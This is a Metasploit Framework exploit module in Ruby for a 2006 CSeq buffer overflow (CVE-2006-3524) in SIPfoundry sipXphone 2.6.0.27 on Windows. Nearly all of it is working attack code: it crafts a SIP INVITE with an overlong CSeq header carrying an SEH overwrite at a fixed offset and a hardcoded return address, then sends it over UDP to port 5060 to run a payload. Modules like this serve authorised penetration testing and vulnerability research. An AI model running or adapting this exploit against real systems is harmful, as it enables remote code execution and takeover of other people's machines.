SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Udp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in SIPfoundry's  
sipXphone 2.6.0.27. By sending an overly long CSeq value,   
a remote attacker could overflow a buffer and execute   
arbitrary code on the system with the privileges of   
the affected application.   
},  
'Author' => 'MC',  
'Version' => '$Revision$',  
'References' =>   
[   
['CVE', '2006-3524'],  
['OSVDB', '27122'],  
['BID', '18906'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 400,  
'BadChars' => "\x00\x0a\x20\x09\x0d",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'SIPfoundry sipXphone 2.6.0.27 Universal', { 'Ret' => 0x08016aac } ],   
],  
'Privileged' => false,  
'DisclosureDate' => 'July 10 2006',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(5060)  
], self)  
  
end  
  
def exploit  
connect_udp  
  
user = rand_text_english(2, payload_badchars)  
port = rand(65535).to_s   
filler = rand_text_english(212, payload_badchars)  
seh = generate_seh_payload(target.ret)  
filler[204, seh.length] = seh  
  
sploit = "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"  
sploit << "To: <sip:#{rhost}:#{rport}>" + "\r\n"  
sploit << "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"  
sploit << "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"  
sploit << "Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n"  
sploit << "CSeq: " + filler + "\r\n"  
sploit << "Max-Forwards: 20" + "\r\n"  
sploit << "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"  
  
print_status("Trying target #{target.name}...")  
  
udp_sock.put(sploit)  
  
handler  
disconnect_udp  
  
end  
  
end  
`